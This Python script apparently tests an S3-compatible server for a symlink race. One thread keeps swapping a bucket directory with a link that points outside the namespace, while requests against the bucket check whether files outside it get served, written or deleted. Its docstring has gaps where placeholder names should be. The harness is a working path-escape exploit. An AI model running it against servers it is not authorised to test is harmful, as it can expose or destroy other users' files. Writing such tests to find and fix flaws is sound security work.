#!/usr/bin/env python3 """Swap a bucket directory with a link while requests run under it. S3_ENDPOINT=... S3_KEY=... S3_SECRET=... S3REQ=.../s3req.py \\ race.py is the directory of // on disk, holding obj.txt with the text . is a link beside it to a directory outside the namespace, holding obj.txt and victim.txt with the text . For one thread exchanges the two names (renameat2 RENAME_EXCHANGE) as fast as it can while this one sends, in turn, GET /obj.txt, PUT /new-.txt and DELETE /victim.txt. Exits 1 if a GET served . What reached the other directory, the caller checks on disk. Python standard library only. """ import ctypes import http.client import importlib.util import os import sys import threading import time import urllib.parse AT_FDCWD = -100 RENAME_EXCHANGE = 2 def main(argv): if len(argv) != 7: sys.exit(__doc__) d, link, bucket, prefix, inside, outside, seconds = argv spec = importlib.util.spec_from_file_location("s3req", os.environ["S3REQ"]) s3req = importlib.util.module_from_spec(spec) spec.loader.exec_module(s3req) libc = ctypes.CDLL(None, use_errno=True) renameat2 = libc.renameat2 stop = threading.Event() swaps = [0] def swapper(): a, b = d.encode(), link.encode() while not stop.is_set(): if renameat2(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE) != 0: print("swap failed:", os.strerror(ctypes.get_errno())) stop.set() return swaps[0] += 1 endpoint = urllib.parse.urlsplit(os.environ["S3_ENDPOINT"]) key, secret = os.environ["S3_KEY"], os.environ["S3_SECRET"] region = os.environ.get("S3_REGION", "us-east-1") def request(method, path, body=b""): headers = {} s3req.sign(method, endpoint.netloc, path, "", headers, body, key, secret, region) conn = http.client.HTTPConnection(endpoint.hostname, endpoint.port, timeout=20) conn.request(method, s3req.quote(path, safe="/"), body=body or None, headers=headers) resp = conn.getresponse() data = resp.read() conn.close() return resp.status, data t = threading.Thread(target=swapper) t.start() counts = {} leaks = 0 n = 0 deadline = time.monotonic() + float(seconds) try: while time.monotonic() < deadline and not stop.is_set(): status, data = request("GET", f"/{bucket}/{prefix}/obj.txt") counts[f"GET {status}"] = counts.get(f"GET {status}", 0) + 1 if status == 200 and data.decode(errors="replace") != inside: leaks += 1 if leaks <= 3: print("GET served:", data[:80]) status, _ = request("PUT", f"/{bucket}/{prefix}/new-{n % 20}.txt", inside.encode()) counts[f"PUT {status}"] = counts.get(f"PUT {status}", 0) + 1 status, _ = request("DELETE", f"/{bucket}/{prefix}/victim.txt") counts[f"DELETE {status}"] = counts.get(f"DELETE {status}", 0) + 1 n += 1 finally: stop.set() t.join() # leave the directory where it started if os.path.islink(d): renameat2(AT_FDCWD, d.encode(), AT_FDCWD, link.encode(), RENAME_EXCHANGE) print(f"{swaps[0]} swaps, {n} rounds:", ", ".join(f"{k} x{v}" for k, v in sorted(counts.items()))) if leaks: print(f"{leaks} GETs served the other side") sys.exit(1) if __name__ == "__main__": main(sys.argv[1:])